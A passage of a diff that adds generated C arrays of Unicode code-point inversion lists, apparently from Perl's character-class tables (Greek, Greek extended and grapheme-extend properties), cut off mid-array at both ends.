+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xFBE,
+	0xFC6,
+	0xFC7,
+	0xFCD,
+	0xFCE,
+	0xFDB,
+	0x1000,
+	0x102D,
+	0x1031,
+	0x1032,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x103D,
+	0x103F,
+	0x1058,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1085,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1360,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1400,
+	0x169D,
+	0x16A0,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1720,
+	0x1732,
+	0x1735,
+	0x1737,
+	0x1740,
+	0x1752,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1780,
+	0x17B4,
+	0x17B6,
+	0x17B7,
+	0x17BE,
+	0x17C6,
+	0x17C7,
+	0x17C9,
+	0x17D4,
+	0x17DD,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180B,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1923,
+	0x1927,
+	0x1929,
+	0x192C,
+	0x1930,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x1A17,
+	0x1A19,
+	0x1A1B,
+	0x1A1E,
+	0x1A56,
+	0x1A57,
+	0x1A58,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A6D,
+	0x1A73,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1B04,
+	0x1B34,
+	0x1B35,
+	0x1B36,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B42,
+	0x1B43,
+	0x1B4C,
+	0x1B50,
+	0x1B6B,
+	0x1B74,
+	0x1B7D,
+	0x1B82,
+	0x1BA2,
+	0x1BA6,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BAE,
+	0x1BE6,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1BF4,
+	0x1BFC,
+	0x1C2C,
+	0x1C34,
+	0x1C36,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C89,
+	0x1CC0,
+	0x1CC8,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x1D00,
+	0x1DC0,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x200B,
+	0x2010,
+	0x2028,
+	0x202F,
+	0x2060,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20C0,
+	0x2100,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2CF9,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2E00,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x302A,
+	0x3030,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x309B,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA6F8,
+	0xA700,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA825,
+	0xA827,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C4,
+	0xA8CE,
+	0xA8DA,
+	0xA8F2,
+	0xA8FE,
+	0xA900,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA952,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA983,
+	0xA9B3,
+	0xA9B4,
+	0xA9B6,
+	0xA9BA,
+	0xA9BC,
+	0xA9BD,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9E5,
+	0xA9E6,
+	0xA9FF,
+	0xAA00,
+	0xAA29,
+	0xAA2F,
+	0xAA31,
+	0xAA33,
+	0xAA35,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4D,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAAEC,
+	0xAAEE,
+	0xAAF6,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABED,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBC2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFE,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF01,
+	0xFF9E,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFFC,
+	0xFFFE,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FD,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E1,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10857,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x1091C,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A40,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10AA0,
+	0x10AC0,
+	0x10AE5,
+	0x10AEB,
+	0x10AF7,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x11001,
+	0x11002,
+	0x11038,
+	0x11047,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x11082,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11103,
+	0x11127,
+	0x1112C,
+	0x1112D,
+	0x11136,
+	0x11144,
+	0x11150,
+	0x11173,
+	0x11174,
+	0x11177,
+	0x11182,
+	0x111B6,
+	0x111BF,
+	0x111CA,
+	0x111CD,
+	0x111CE,
+	0x111D0,
+	0x111E0,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122F,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x11238,
+	0x1123E,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112AA,
+	0x112B0,
+	0x112DF,
+	0x112E0,
+	0x112E3,
+	0x112F0,
+	0x112FA,
+	0x11302,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x1133F,
+	0x11340,
+	0x11341,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11364,
+	0x11400,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x11447,
+	0x1145A,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x11480,
+	0x114B0,
+	0x114B1,
+	0x114B3,
+	0x114B9,
+	0x114BA,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x114BF,
+	0x114C1,
+	0x114C2,
+	0x114C4,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115AF,
+	0x115B0,
+	0x115B2,
+	0x115B8,
+	0x115BC,
+	0x115BE,
+	0x115BF,
+	0x115C1,
+	0x115DC,
+	0x11600,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x11641,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11660,
+	0x1166D,
+	0x11680,
+	0x116AB,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x11720,
+	0x11722,
+	0x11726,
+	0x11727,
+	0x11730,
+	0x11740,
+	0x118A0,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A07,
+	0x11A09,
+	0x11A0B,
+	0x11A33,
+	0x11A39,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A50,
+	0x11A51,
+	0x11A57,
+	0x11A59,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11A97,
+	0x11A98,
+	0x11A9A,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C30,
+	0x11C3E,
+	0x11C3F,
+	0x11C40,
+	0x11C46,
+	0x11C50,
+	0x11C6D,
+	0x11C70,
+	0x11C90,
+	0x11CA9,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB4,
+	0x11CB5,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12470,
+	0x12475,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF5,
+	0x16AF6,
+	0x16B00,
+	0x16B30,
+	0x16B37,
+	0x16B46,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D165,
+	0x1D166,
+	0x1D167,
+	0x1D16A,
+	0x1D16E,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D1E9,
+	0x1D200,
+	0x1D242,
+	0x1D245,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA8C,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D0,
+	0x1E900,
+	0x1E944,
+	0x1E950,
+	0x1E95A,
+	0x1E95E,
+	0x1E960,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_GREEKEXT_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1F00,
+	0x2000
+};
+
+static const UV PL_GREK_invlist[] = { /* for all charsets */
+	77,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x342,
+	0x343,
+	0x345,
+	0x346,
+	0x370,
+	0x374,
+	0x375,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x384,
+	0x385,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3E2,
+	0x3F0,
+	0x400,
+	0x1D26,
+	0x1D2B,
+	0x1D5D,
+	0x1D62,
+	0x1D66,
+	0x1D6B,
+	0x1DBF,
+	0x1DC2,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2126,
+	0x2127,
+	0xAB65,
+	0xAB66,
+	0x10140,
+	0x1018F,
+	0x101A0,
+	0x101A1,
+	0x1D200,
+	0x1D246
+};
+
+static const UV PL_GREXT_invlist[] = { /* for all charsets */
+	639,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x300,
+	0x370,
+	0x483,
+	0x48A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x610,
+	0x61B,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DD,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F4,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x859,
+	0x85C,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x903,
+	0x93A,
+	0x93B,
+	0x93C,
+	0x93D,
+	0x941,
+	0x949,
+	0x94D,
+	0x94E,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x982,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9BF,
+	0x9C1,
+	0x9C5,
+	0x9CD,
+	0x9CE,
+	0x9D7,
+	0x9D8,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA03,
+	0xA3C,
+	0xA3D,
+	0xA41,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA83,
+	0xABC,
+	0xABD,
+	0xAC1,
+	0xAC6,
+	0xAC7,
+	0xAC9,
+	0xACD,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB02,
+	0xB3C,
+	0xB3D,
+	0xB3E,
+	0xB40,
+	0xB41,
+	0xB45,
+	0xB4D,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBBE,
+	0xBBF,
+	0xBC0,
+	0xBC1,
+	0xBCD,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xC00,
+	0xC01,
+	0xC3E,
+	0xC41,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC82,
+	0xCBC,
+	0xCBD,
+	0xCBF,
+	0xCC0,
+	0xCC2,
+	0xCC3,
+	0xCC6,
+	0xCC7,
+	0xCCC,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD02,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD3F,
+	0xD41,
+	0xD45,
+	0xD4D,
+	0xD4E,
+	0xD57,
+	0xD58,
+	0xD62,
+	0xD64,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD0,
+	0xDD2,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDDF,
+	0xDE0,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3B,
+	0xE47,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF71,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102D,
+	0x1031,
+	0x1032,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x103D,
+	0x103F,
+	0x1058,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1085,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17B6,
+	0x17B7,
+	0x17BE,
+	0x17C6,
+	0x17C7,
+	0x17C9,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x180B,
+	0x180E,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x1923,
+	0x1927,
+	0x1929,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x193C,
+	0x1A17,
+	0x1A19,
+	0x1A1B,
+	0x1A1C,
+	0x1A56,
+	0x1A57,
+	0x1A58,
+	0x1A5F,
+	0x1A60,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A6D,
+	0x1A73,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B04,
+	0x1B34,
+	0x1B35,
+	0x1B36,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B42,
+	0x1B43,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B82,
+	0x1BA2,
+	0x1BA6,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BAE,
+	0x1BE6,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1C2C,
+	0x1C34,
